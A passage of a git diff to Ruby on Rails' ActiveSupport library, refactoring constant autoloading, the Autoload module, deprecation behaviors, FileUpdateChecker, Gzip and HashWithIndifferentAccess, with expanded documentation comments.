         end
-        @watching << watching
       end
 
+      private
       def pop_modules(modules)
-        modules.each { |mod| self[mod].pop }
+        modules.each { |mod| @stack[mod].pop }
       end
     end
 
@@ -159,18 +168,30 @@ module ActiveSupport #:nodoc:
         end
       end
 
-      # Use const_missing to autoload associations so we don't have to
-      # require_association when using single-table inheritance.
-      def const_missing(const_name, nesting = nil)
+      def const_missing(const_name)
         klass_name = name.presence || "Object"
 
-        unless nesting
-          # We'll assume that the nesting of Foo::Bar is ["Foo::Bar", "Foo"]
-          # even though it might not be, such as in the case of
-          # class Foo::Bar; Baz; end
-          nesting = []
-          klass_name.to_s.scan(/::|$/) { nesting.unshift $` }
-        end
+        # Since Ruby does not pass the nesting at the point the unknown
+        # constant triggered the callback we cannot fully emulate constant
+        # name lookup and need to make a trade-off: we are going to assume
+        # that the nesting in the body of Foo::Bar is [Foo::Bar, Foo] even
+        # though it might not be. Counterexamples are
+        #
+        #   class Foo::Bar
+        #     Module.nesting # => [Foo::Bar]
+        #   end
+        #
+        # or
+        #
+        #   module M::N
+        #     module S::T
+        #       Module.nesting # => [S::T, M::N]
+        #     end
+        #   end
+        #
+        # for example.
+        nesting = []
+        klass_name.to_s.scan(/::|$/) { nesting.unshift $` }
 
         # If there are multiple levels of nesting to search under, the top
         # level is the one we want to report as the lookup fail.
@@ -211,16 +232,12 @@ module ActiveSupport #:nodoc:
           raise ArgumentError, "the file name must be a String -- you passed #{file_name.inspect}"
         end
 
-        Dependencies.depend_on(file_name, false, message)
-      end
-
-      def require_association(file_name)
-        Dependencies.associate_with(file_name)
+        Dependencies.depend_on(file_name, message)
       end
 
       def load_dependency(file)
-        if Dependencies.load?
-          Dependencies.new_constants_in(Object) { yield }.presence
+        if Dependencies.load? && ActiveSupport::Dependencies.constant_watch_stack.watching?
+          Dependencies.new_constants_in(Object) { yield }
         else
           yield
         end
@@ -229,13 +246,13 @@ module ActiveSupport #:nodoc:
         raise
       end
 
-      def load(file, *)
+      def load(file, wrap = false)
         result = false
         load_dependency(file) { result = super }
         result
       end
 
-      def require(file, *)
+      def require(file)
         result = false
         load_dependency(file) { result = super }
         result
@@ -284,33 +301,26 @@ module ActiveSupport #:nodoc:
       Object.class_eval { include Loadable }
       Module.class_eval { include ModuleConstMissing }
       Exception.class_eval { include Blamable }
-      true
     end
 
     def unhook!
       ModuleConstMissing.exclude_from(Module)
       Loadable.exclude_from(Object)
-      true
     end
 
     def load?
       mechanism == :load
     end
 
-    def depend_on(file_name, swallow_load_errors = false, message = "No such file to load -- %s.rb")
+    def depend_on(file_name, message = "No such file to load -- %s.rb")
       path = search_for_file(file_name)
       require_or_load(path || file_name)
     rescue LoadError => load_error
-      unless swallow_load_errors
-        if file_name = load_error.message[/ -- (.*?)(\.rb)?$/, 1]
-          raise LoadError.new(message % file_name).copy_blame!(load_error)
-        end
-        raise
+      if file_name = load_error.message[/ -- (.*?)(\.rb)?$/, 1]
+        load_error.message.replace(message % file_name)
+        load_error.copy_blame!(load_error)
       end
-    end
-
-    def associate_with(file_name)
-      depend_on(file_name, true)
+      raise
     end
 
     def clear
@@ -354,30 +364,12 @@ module ActiveSupport #:nodoc:
 
       # Record history *after* loading so first load gets warnings.
       history << expanded
-      return result
+      result
     end
 
     # Is the provided constant path defined?
-    if Module.method(:const_defined?).arity == 1
-      def qualified_const_defined?(path)
-        Object.qualified_const_defined?(path.sub(/^::/, ''))
-      end
-    else
-      def qualified_const_defined?(path)
-        Object.qualified_const_defined?(path.sub(/^::/, ''), false)
-      end
-    end
-
-    if Module.method(:const_defined?).arity == 1
-      # Does this module define this constant?
-      # Wrapper to accommodate changing Module#const_defined? in Ruby 1.9
-      def local_const_defined?(mod, const)
-        mod.const_defined?(const)
-      end
-    else
-      def local_const_defined?(mod, const) #:nodoc:
-        mod.const_defined?(const, false)
-      end
+    def qualified_const_defined?(path)
+      Object.qualified_const_defined?(path.sub(/^::/, ''), false)
     end
 
     # Given +path+, a filesystem path to a ruby file, return an array of constant
@@ -428,7 +420,7 @@ module ActiveSupport #:nodoc:
     end
 
     # Attempt to autoload the provided module name by searching for a directory
-    # matching the expect path suffix. If found, the module is created and assigned
+    # matching the expected path suffix. If found, the module is created and assigned
     # to +into+'s constants with the name +const_name+. Provided that the directory
     # was loaded from a reloadable base path, it is added to the set of constants
     # that are to be unloaded.
@@ -437,7 +429,7 @@ module ActiveSupport #:nodoc:
       mod = Module.new
       into.const_set const_name, mod
       autoloaded_constants << qualified_name unless autoload_once_paths.include?(base_path)
-      return mod
+      mod
     end
 
     # Load the file at the provided path. +const_paths+ is a set of qualified
@@ -461,7 +453,7 @@ module ActiveSupport #:nodoc:
       autoloaded_constants.concat newly_defined_paths unless load_once_path?(path)
       autoloaded_constants.uniq!
       log "loading #{path} defined #{newly_defined_paths * ', '}" unless newly_defined_paths.empty?
-      return result
+      result
     end
 
     # Return the constant path for the provided parent and constant name.
@@ -480,7 +472,7 @@ module ActiveSupport #:nodoc:
         raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
       end
 
-      raise NameError, "#{from_mod} is not missing constant #{const_name}!" if local_const_defined?(from_mod, const_name)
+      raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
 
       qualified_name = qualified_name_for from_mod, const_name
       path_suffix = qualified_name.underscore
@@ -489,12 +481,12 @@ module ActiveSupport #:nodoc:
 
       if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load
         require_or_load file_path
-        raise LoadError, "Expected #{file_path} to define #{qualified_name}" unless local_const_defined?(from_mod, const_name)
+        raise LoadError, "Expected #{file_path} to define #{qualified_name}" unless from_mod.const_defined?(const_name, false)
         return from_mod.const_get(const_name)
       elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
         return mod
       elsif (parent = from_mod.parent) && parent != from_mod &&
-            ! from_mod.parents.any? { |p| local_const_defined?(p, const_name) }
+            ! from_mod.parents.any? { |p| p.const_defined?(const_name, false) }
         # If our parents do not have a constant named +const_name+ then we are free
         # to attempt to load upwards. If they do have such a constant, then this
         # const_missing must be due to from_mod::const_name, which should not
@@ -508,7 +500,7 @@ module ActiveSupport #:nodoc:
 
       raise NameError,
             "uninitialized constant #{qualified_name}",
-            caller.reject {|l| l.starts_with? __FILE__ }
+            caller.reject { |l| l.starts_with? __FILE__ }
     end
 
     # Remove the constants that have been autoloaded, and those that have been
@@ -527,7 +519,7 @@ module ActiveSupport #:nodoc:
 
     class ClassCache
       def initialize
-        @store = Hash.new { |h, k| h[k] = Inflector.constantize(k) }
+        @store = Hash.new
       end
 
       def empty?
@@ -538,23 +530,21 @@ module ActiveSupport #:nodoc:
         @store.key?(key)
       end
 
-      def []=(key, value)
-        return unless key.respond_to?(:name)
-
-        raise(ArgumentError, 'anonymous classes cannot be cached') if key.name.blank?
-
-        @store[key.name] = value
+      def get(key)
+        key = key.name if key.respond_to?(:name)
+        @store[key] ||= Inflector.constantize(key)
       end
+      alias :[] :get
 
-      def [](key)
+      def safe_get(key)
         key = key.name if key.respond_to?(:name)
-
-        @store[key]
+        @store[key] ||= Inflector.safe_constantize(key)
       end
-      alias :get :[]
 
-      def store(name)
-        self[name] = name
+      def store(klass)
+        return self unless klass.respond_to?(:name)
+        raise(ArgumentError, 'anonymous classes cannot be cached') if klass.name.empty?
+        @store[klass.name] = klass
         self
       end
 
@@ -571,10 +561,17 @@ module ActiveSupport #:nodoc:
     end
 
     # Get the reference for class named +name+.
+    # Raises an exception if referenced class does not exist.
     def constantize(name)
       Reference.get(name)
     end
 
+    # Get the reference for class named +name+ if one exists.
+    # Otherwise returns nil.
+    def safe_constantize(name)
+      Reference.safe_get(name)
+    end
+
     # Determine if the given constant has been automatically loaded.
     def autoloaded?(desc)
       # No name => anonymous module.
@@ -595,10 +592,10 @@ module ActiveSupport #:nodoc:
     def mark_for_unload(const_desc)
       name = to_constant_name const_desc
       if explicitly_unloadable_constants.include? name
-        return false
+        false
       else
         explicitly_unloadable_constants << name
-        return true
+        true
       end
     end
 
@@ -626,10 +623,10 @@ module ActiveSupport #:nodoc:
         return new_constants unless aborting
 
         log "Error during loading, removing partially loaded constants "
-        new_constants.each {|c| remove_constant(c) }.clear
+        new_constants.each { |c| remove_constant(c) }.clear
       end
 
-      return []
+      []
     end
 
     # Convert the provided const desc to a qualified constant name (as a string).
@@ -658,7 +655,7 @@ module ActiveSupport #:nodoc:
       constantized.before_remove_const if constantized.respond_to?(:before_remove_const)
       parent.instance_eval { remove_const to_remove }
 
-      return true
+      true
     end
 
     protected
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
index 4c771da096..df490ae298 100644
--- a/activesupport/lib/active_support/dependencies/autoload.rb
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -1,50 +1,78 @@
 require "active_support/inflector/methods"
-require "active_support/lazy_load_hooks"
 
 module ActiveSupport
+  # Autoload and eager load conveniences for your library.
+  #
+  # This module allows you to define autoloads based on
+  # Rails conventions (i.e. no need to define the path
+  # it is automatically guessed based on the filename)
+  # and also define a set of constants that needs to be
+  # eager loaded:
+  #
+  #   module MyLib
+  #     extend ActiveSupport::Autoload
+  #
+  #     autoload :Model
+  #
+  #     eager_autoload do
+  #       autoload :Cache
+  #     end
+  #   end
+  #
+  # Then your library can be eager loaded by simply calling:
+  #
+  #   MyLib.eager_load!
+  #
   module Autoload
-    @@autoloads = {}
-    @@under_path = nil
-    @@at_path = nil
-    @@eager_autoload = false
+    def self.extended(base)
+      base.class_eval do
+        @_autoloads = {}
+        @_under_path = nil
+        @_at_path = nil
+        @_eager_autoload = false
+      end
+    end
 
-    def autoload(const_name, path = @@at_path)
-      full = [self.name, @@under_path, const_name.to_s, path].compact.join("::")
-      location = path || Inflector.underscore(full)
+    def autoload(const_name, path = @_at_path)
+      unless path
+        full = [name, @_under_path, const_name.to_s, path].compact.join("::")
+        path = Inflector.underscore(full)
+      end
 
-      if @@eager_autoload
-        @@autoloads[const_name] = location
+      if @_eager_autoload
+        @_autoloads[const_name] = path
       end
-      super const_name, location
+
+      super const_name, path
     end
 
     def autoload_under(path)
-      @@under_path, old_path = path, @@under_path
+      @_under_path, old_path = path, @_under_path
       yield
     ensure
-      @@under_path = old_path
+      @_under_path = old_path
     end
 
     def autoload_at(path)
-      @@at_path, old_path = path, @@at_path
+      @_at_path, old_path = path, @_at_path
       yield
     ensure
-      @@at_path = old_path
+      @_at_path = old_path
     end
 
     def eager_autoload
-      old_eager, @@eager_autoload = @@eager_autoload, true
+      old_eager, @_eager_autoload = @_eager_autoload, true
       yield
     ensure
-      @@eager_autoload = old_eager
+      @_eager_autoload = old_eager
     end
 
-    def self.eager_autoload!
-      @@autoloads.values.each { |file| require file }
+    def eager_load!
+      @_autoloads.values.each { |file| require file }
     end
 
     def autoloads
-      @@autoloads
+      @_autoloads
     end
   end
 end
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index 45b9dda5ca..e3b4a7240e 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/deprecation'
 require 'active_support/deprecation/behaviors'
 require 'active_support/deprecation/reporting'
 require 'active_support/deprecation/method_wrappers'
@@ -9,10 +10,10 @@ module ActiveSupport
       # The version the deprecated behavior will be removed, by default.
       attr_accessor :deprecation_horizon
     end
-    self.deprecation_horizon = '3.2'
+    self.deprecation_horizon = '4.1'
 
     # By default, warnings are not silenced and debugging is off.
     self.silenced = false
     self.debug = false
   end
-end
+end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index f9505a247c..fc962dcb57 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -1,5 +1,4 @@
 require "active_support/notifications"
-require "active_support/core_ext/array/wrap"
 
 module ActiveSupport
   module Deprecation
@@ -7,19 +6,33 @@ module ActiveSupport
       # Whether to print a backtrace along with the warning.
       attr_accessor :debug
 
-      # Returns the set behavior or if one isn't set, defaults to +:stderr+
+      # Returns the current behavior or if one isn't set, defaults to +:stderr+
       def behavior
         @behavior ||= [DEFAULT_BEHAVIORS[:stderr]]
       end
 
-      # Sets the behavior to the specified value. Can be a single value or an array.
+      # Sets the behavior to the specified value. Can be a single value, array, or
+      # an object that responds to +call+.
       #
-      # Examples
+      # Available behaviors:
+      #
+      # [+stderr+]  Log all deprecation warnings to <tt>$stderr</tt>.
+      # [+log+]     Log all deprecation warnings to +Rails.logger+.
+      # [+notify+]  Use <tt>ActiveSupport::Notifications</tt> to notify +deprecation.rails+.
+      # [+silence+] Do nothing.
+      #
+      # Setting behaviors only affects deprecations that happen after boot time.
+      # Deprecation warnings raised by gems are not affected by this setting because
+      # they happen before Rails boots up.
       #
       #   ActiveSupport::Deprecation.behavior = :stderr
       #   ActiveSupport::Deprecation.behavior = [:stderr, :log]
+      #   ActiveSupport::Deprecation.behavior = MyCustomHandler
+      #   ActiveSupport::Deprecation.behavior = proc { |message, callstack| 
+      #     # custom stuff
+      #   }
       def behavior=(behavior)
-        @behavior = Array.wrap(behavior).map { |b| DEFAULT_BEHAVIORS[b] || b }
+        @behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || b }
       end
     end
 
@@ -34,16 +47,17 @@ module ActiveSupport
            if defined?(Rails) && Rails.logger
              Rails.logger
            else
-             require 'logger'
-             Logger.new($stderr)
+             require 'active_support/logger'
+             ActiveSupport::Logger.new($stderr)
            end
          logger.warn message
          logger.debug callstack.join("\n  ") if debug
        },
        :notify => Proc.new { |message, callstack|
           ActiveSupport::Notifications.instrument("deprecation.rails",
-            :message => message, :callstack => callstack)
-       }
+          :message => message, :callstack => callstack)
+       },
+       :silence => Proc.new { |message, callstack| }
     }
   end
 end
diff --git a/activesupport/lib/active_support/deprecation/method_wrappers.rb b/activesupport/lib/active_support/deprecation/method_wrappers.rb
index d0d8b577b3..257b70e34a 100644
--- a/activesupport/lib/active_support/deprecation/method_wrappers.rb
+++ b/activesupport/lib/active_support/deprecation/method_wrappers.rb
@@ -1,11 +1,30 @@
-require 'active_support/core_ext/module/deprecation'
 require 'active_support/core_ext/module/aliasing'
 require 'active_support/core_ext/array/extract_options'
 
 module ActiveSupport
-  class << Deprecation
+  module Deprecation
     # Declare that a method has been deprecated.
-    def deprecate_methods(target_module, *method_names)
+    #
+    #   module Fred
+    #     extend self
+    #
+    #     def foo; end
+    #     def bar; end
+    #     def baz; end
+    #   end
+    #
+    #   ActiveSupport::Deprecation.deprecate_methods(Fred, :foo, bar: :qux, baz: 'use Bar#baz instead')
+    #   # => [:foo, :bar, :baz]
+    #
+    #   Fred.foo
+    #   # => "DEPRECATION WARNING: foo is deprecated and will be removed from Rails 4.1."
+    #
+    #   Fred.bar
+    #   # => "DEPRECATION WARNING: bar is deprecated and will be removed from Rails 4.1 (use qux instead)."
+    #
+    #   Fred.baz
+    #   # => "DEPRECATION WARNING: baz is deprecated and will be removed from Rails 4.1 (use Bar#baz instead)."
+    def self.deprecate_methods(target_module, *method_names)
       options = method_names.extract_options!
       method_names += options.keys
 
diff --git a/activesupport/lib/active_support/deprecation/reporting.rb b/activesupport/lib/active_support/deprecation/reporting.rb
index 5d7e241d1a..a1e9618084 100644
--- a/activesupport/lib/active_support/deprecation/reporting.rb
+++ b/activesupport/lib/active_support/deprecation/reporting.rb
@@ -3,7 +3,8 @@ module ActiveSupport
     class << self
       attr_accessor :silenced
 
-      # Outputs a deprecation warning to the output configured by <tt>ActiveSupport::Deprecation.behavior</tt>
+      # Outputs a deprecation warning to the output configured by
+      # <tt>ActiveSupport::Deprecation.behavior</tt>.
       #
       #   ActiveSupport::Deprecation.warn("something broke!")
       #   # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
@@ -15,6 +16,14 @@ module ActiveSupport
       end
 
       # Silence deprecation warnings within the block.
+      #
+      #   ActiveSupport::Deprecation.warn("something broke!")
+      #   # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+      #
+      #   ActiveSupport::Deprecation.silence do
+      #     ActiveSupport::Deprecation.warn("something broke!")
+      #   end
+      #   # => nil
       def silence
         old_silenced, @silenced = @silenced, true
         yield
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 89b0923882..a0139b7d8e 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -5,12 +5,10 @@ require 'active_support/core_ext/object/acts_like'
 module ActiveSupport
   # Provides accurate date and time measurements using Date#advance and
   # Time#advance, respectively. It mainly supports the methods on Numeric.
-  # Example:
   #
   #   1.month.ago       # equivalent to Time.now.advance(:months => -1)
   class Duration < BasicObject
     attr_accessor :value, :parts
-    delegate :duplicable?, :to => :value # required when using ActiveSupport's BasicObject on 1.8
 
     def initialize(value, parts) #:nodoc:
       @value, @parts = value, parts
@@ -72,7 +70,7 @@ module ActiveSupport
     alias :until :ago
 
     def inspect #:nodoc:
-      consolidated = parts.inject(::Hash.new(0)) { |h,part| h[part.first] += part.last; h }
+      consolidated = parts.inject(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }
       parts = [:years, :months, :days, :minutes, :seconds].map do |length|
         n = consolidated[length]
         "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index f76ddff038..1cc852a3e6 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -1,8 +1,25 @@
 module ActiveSupport
-  # This class is responsible to track files and invoke the given block
-  # whenever one of these files are changed. For example, this class
-  # is used by Rails to reload the I18n framework whenever they are
-  # changed upon a new request.
+  # \FileUpdateChecker specifies the API used by Rails to watch files
+  # and control reloading. The API depends on four methods:
+  #
+  # * +initialize+ which expects two parameters and one block as
+  #   described below;
+  #
+  # * +updated?+ which returns a boolean if there were updates in
+  #   the filesystem or not;
+  #
+  # * +execute+ which executes the given block on initialization
+  #   and updates the latest watched files and timestamp;
+  #
+  # * +execute_if_updated+ which just executes the block if it was updated;
+  #
+  # After initialization, a call to +execute_if_updated+ must execute
+  # the block only if there was really a change in the filesystem.
+  #
+  # == Examples
+  #
+  # This class is used by Rails to reload the I18n framework whenever
+  # they are changed upon a new request.
   #
   #   i18n_reloader = ActiveSupport::FileUpdateChecker.new(paths) do
   #     I18n.reload!
@@ -13,24 +30,110 @@ module ActiveSupport
   #   end
   #
   class FileUpdateChecker
-    attr_reader :paths, :last_update_at
-
-    def initialize(paths, calculate=false, &block)
-      @paths = paths
+    # It accepts two parameters on initialization. The first is an array
+    # of files and the second is an optional hash of directories. The hash must
+    # have directories as keys and the value is an array of extensions to be
+    # watched under that directory.
+    #
+    # This method must also receive a block that will be called once a path
+    # changes. The array of files and list of directories cannot be changed
+    # after FileUpdateChecker has been initialized.
+    def initialize(files, dirs={}, &block)
+      @files = files.freeze
+      @glob  = compile_glob(dirs)
       @block = block
-      @last_update_at = calculate ? updated_at : nil
+
+      @watched    = nil
+      @updated_at = nil
+
+      @last_watched   = watched
+      @last_update_at = updated_at(@last_watched)
     end
 
-    def updated_at
-      paths.map { |path| File.mtime(path) }.max
+    # Check if any of the entries were updated. If so, the watched and/or
+    # updated_at values are cached until the block is executed via +execute+
+    # or +execute_if_updated+
+    def updated?
+      current_watched = watched
+      if @last_watched.size != current_watched.size
+        @watched = current_watched
+        true
+      else
+        current_updated_at = updated_at(current_watched)
+        if @last_update_at < current_updated_at
+          @watched    = current_watched
+          @updated_at = current_updated_at
+          true
+        else
+          false
+        end
+      end
     end
 
+    # Executes the given block and updates the latest watched files and timestamp.
+    def execute
+      @last_watched   = watched
+      @last_update_at = updated_at(@last_watched)
+      @block.call
+    ensure
+      @watched = nil
+      @updated_at = nil
+    end
+
+    # Execute the block given if updated.
     def execute_if_updated
-      current_update_at = self.updated_at
-      if @last_update_at != current_update_at
-        @last_update_at = current_update_at
-        @block.call
+      if updated?
+        execute
+        true
+      else
+        false
       end
     end
+
+    private
+
+    def watched
+      @watched || begin
+        all = @files.select { |f| File.exists?(f) }
+        all.concat(Dir[@glob]) if @glob
+        all
+      end
+    end
+
+    def updated_at(paths)
+      @updated_at || max_mtime(paths) || Time.at(0)
+    end
+
+    # This method returns the maximum mtime of the files in +paths+, or +nil+
+    # if the array is empty.
+    #
+    # Files with a mtime in the future are ignored. Such abnormal situation
+    # can happen for example if the user changes the clock by hand. It is
+    # healthy to consider this edge case because with mtimes in the future
+    # reloading is not triggered.
+    def max_mtime(paths)
+      time_now = Time.now
+      paths.map {|path| File.mtime(path)}.reject {|mtime| time_now < mtime}.max
+    end
+
+    def compile_glob(hash)
+      hash.freeze # Freeze so changes aren't accidently pushed
+      return if hash.empty?
+
+      globs = hash.map do |key, value|
+        "#{escape(key)}/**/*#{compile_ext(value)}"
+      end
+      "{#{globs.join(",")}}"
+    end
+
+    def escape(key)
+      key.gsub(',','\,')
+    end
+
+    def compile_ext(array)
+      array = Array(array)
+      return if array.empty?
+      ".{#{array.join(",")}}"
+    end
   end
 end
diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb
index 9651f02c73..6ef33ab683 100644
--- a/activesupport/lib/active_support/gzip.rb
+++ b/activesupport/lib/active_support/gzip.rb
@@ -1,14 +1,20 @@
 require 'zlib'
 require 'stringio'
-require 'active_support/core_ext/string/encoding'
 
 module ActiveSupport
-  # A convenient wrapper for the zlib standard library that allows compression/decompression of strings with gzip.
+  # A convenient wrapper for the zlib standard library that allows
+  # compression/decompression of strings with gzip.
+  #
+  #   gzip = ActiveSupport::Gzip.compress('compress me!')
+  #   # => "\x1F\x8B\b\x00o\x8D\xCDO\x00\x03K\xCE\xCF-(J-.V\xC8MU\x04\x00R>n\x83\f\x00\x00\x00"
+  #
+  #   ActiveSupport::Gzip.decompress(gzip)
+  #   # => "compress me!" 
   module Gzip
     class Stream < StringIO
       def initialize(*)
         super
-        set_encoding "BINARY" if "".encoding_aware?
+        set_encoding "BINARY"
       end
       def close; rewind; end
     end
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 636f019cd5..5fd20673d8 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -1,13 +1,46 @@
 require 'active_support/core_ext/hash/keys'
 
-# This class has dubious semantics and we only have it so that
-# people can write <tt>params[:key]</tt> instead of <tt>params['key']</tt>
-# and they get the same value for both keys.
-
 module ActiveSupport
+  # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered to be the same.
+  #
+  #   rgb = ActiveSupport::HashWithIndifferentAccess.new
+  #
+  #   rgb[:black] = '#000000'
+  #   rgb[:black]  # => '#000000'
+  #   rgb['black'] # => '#000000'
+  #
+  #   rgb['white'] = '#FFFFFF'
+  #   rgb[:white]  # => '#FFFFFF'
+  #   rgb['white'] # => '#FFFFFF'
+  #
+  # Internally symbols are mapped to strings when used as keys in the entire
+  # writing interface (calling <tt>[]=</tt>, <tt>merge</tt>, etc). This
+  # mapping belongs to the public interface. For example, given
+  #
+  #   hash = ActiveSupport::HashWithIndifferentAccess.new(:a => 1)
+  #
+  # you are guaranteed that the key is returned as a string:
+  #
+  #   hash.keys # => ["a"]
+  #
+  # Technically other types of keys are accepted:
+  #
+  #   hash = ActiveSupport::HashWithIndifferentAccess.new(:a => 1)
+  #   hash[0] = 0
+  #   hash # => {"a"=>1, 0=>0}
+  #
+  # but this class is intended for use cases where strings or symbols are the
+  # expected keys and it is convenient to understand both as the same. For
+  # example the +params+ hash in Ruby on Rails.
+  #
+  # Note that core extensions define <tt>Hash#with_indifferent_access</tt>:
+  #
+  #   rgb = {:black => '#000000', :white => '#FFFFFF'}.with_indifferent_access
+  #
+  # which may be handy.
   class HashWithIndifferentAccess < Hash
-    
-    # Always returns true, so that <tt>Array#extract_options!</tt> finds members of this class.
+    # Returns true so that <tt>Array#extract_options!</tt> finds members of
+    # this class.
     def extractable_options?
       true
     end
@@ -16,6 +49,10 @@ module ActiveSupport
       dup
     end
 
+    def nested_under_indifferent_access
+      self
+    end
+
     def initialize(constructor = {})
       if constructor.is_a?(Hash)
         super()
@@ -39,30 +76,41 @@ module ActiveSupport
       end
     end
 
+    def self.[](*args)
+      new.merge(Hash[*args])
+    end
+
     alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
     alias_method :regular_update, :update unless method_defined?(:regular_update)
 
     # Assigns a new value to the hash:
     #
-    #   hash = HashWithIndifferentAccess.new
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
     #   hash[:key] = "value"
     #
+    # This value can be later fetched using either +:key+ or +"key"+.
     def []=(key, value)
       regular_writer(convert_key(key), convert_value(value))
     end
 
     alias_method :store, :[]=
 
-    # Updates the instantized hash with values from the second:
+    # Updates the receiver in-place merging in the hash passed as argument:
     #
-    #   hash_1 = HashWithIndifferentAccess.new
-    #   hash_1[:key] = "value"
+    #   hash_1 = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash_2[:key] = "value"
     #
-    #   hash_2 = HashWithIndifferentAccess.new
+    #   hash_2 = ActiveSupport::HashWithIndifferentAccess.new
     #   hash_2[:key] = "New Value!"
     #
     #   hash_1.update(hash_2) # => {"key"=>"New Value!"}
     #
+    # The argument can be either an
+    # <tt>ActiveSupport::HashWithIndifferentAccess</tt> or a regular +Hash+.
+    # In either case the merge respects the semantics of indifferent access.
+    #
+    # If the argument is a regular hash with keys +:key+ and +"key"+ only one
+    # of the values end up in the receiver, but which was is unespecified.
     def update(other_hash)
       if other_hash.is_a? HashWithIndifferentAccess
         super(other_hash)
@@ -76,10 +124,10 @@ module ActiveSupport
 
     # Checks the hash for a key matching the argument passed in:
     #
-    #   hash = HashWithIndifferentAccess.new
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
     #   hash["key"] = "value"
-    #   hash.key? :key  # => true
-    #   hash.key? "key" # => true
+    #   hash.key?(:key)  # => true
+    #   hash.key?("key") # => true
     #
     def key?(key)
       super(convert_key(key))
@@ -89,14 +137,24 @@ module ActiveSupport
     alias_method :has_key?, :key?
     alias_method :member?, :key?
 
-    # Fetches the value for the specified key, same as doing hash[key]
+    # Same as <tt>Hash#fetch</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   counters = ActiveSupport::HashWithIndifferentAccess.new
+    #   counters[:foo] = 1
+    #
+    #   counters.fetch("foo")          # => 1
+    #   counters.fetch(:bar, 0)        # => 0
+    #   counters.fetch(:bar) {|key| 0} # => 0
+    #   counters.fetch(:zoo)           # => KeyError: key not found: "zoo"
+    #
     def fetch(key, *extras)
       super(convert_key(key), *extras)
     end
 
     # Returns an array of the values at the specified indices:
     #
-    #   hash = HashWithIndifferentAccess.new
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
     #   hash[:a] = "x"
     #   hash[:b] = "y"
     #   hash.values_at("a", "b") # => ["x", "y"]
@@ -112,34 +170,45 @@ module ActiveSupport
       end
     end
 
-    # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash.
-    # Does not overwrite the existing hash.
+    # This method has the same semantics of +update+, except it does not
+    # modify the receiver but rather returns a new hash with indifferent
+    # access with the result of the merge.
     def merge(hash)
       self.dup.update(hash)
     end
 
-    # Performs the opposite of merge, with the keys and values from the first hash taking precedence over the second.
-    # This overloaded definition prevents returning a regular hash, if reverse_merge is called on a <tt>HashWithDifferentAccess</tt>.
+    # Like +merge+ but the other way around: Merges the receiver into the
+    # argument and returns a new hash with indifferent access as result:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash['a'] = nil
+    #   hash.reverse_merge(:a => 0, :b => 1) # => {"a"=>nil, "b"=>1}
+    #
     def reverse_merge(other_hash)
-      super self.class.new_from_hash_copying_default(other_hash)
+      super(self.class.new_from_hash_copying_default(other_hash))
     end
 
+    # Same semantics as +reverse_merge+ but modifies the receiver in-place.
     def reverse_merge!(other_hash)
       replace(reverse_merge( other_hash ))
     end
 
-    # Removes a specified key from the hash.
+    # Removes the specified key from the hash.
     def delete(key)
       super(convert_key(key))
     end
 
     def stringify_keys!; self end
+    def deep_stringify_keys!; self end
     def stringify_keys; dup end
+    def deep_stringify_keys; dup end
     undef :symbolize_keys!
+    undef :deep_symbolize_keys!
     def symbolize_keys; to_hash.symbolize_keys end
+    def deep_symbolize_keys; to_hash.deep_symbolize_keys end
     def to_options!; self end
 
-    # Convert to a Hash with String keys.
+    # Convert to a regular hash with string keys.
     def to_hash
       Hash.new(default).merge!(self)
     end
@@ -153,7 +222,8 @@ module ActiveSupport
         if value.is_a? Hash
           value.nested_under_indifferent_access
         elsif value.is_a?(Array)
-          value.dup.replace(value.map { |e| convert_value(e) })
+          value = value.dup if value.frozen?
+          value.map! { |e| convert_value(e) }
         else
           value
         end
diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb
index f9c5e5e2f8..188653bd9b 100644
--- a/activesupport/lib/active_support/i18n.rb
+++ b/activesupport/lib/active_support/i18n.rb
@@ -6,4 +6,5 @@ rescue LoadError => e
   raise e
 end
 
+ActiveSupport.run_load_hooks(:i18n)
 I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 4c59fe9ac9..f67b221024 100644
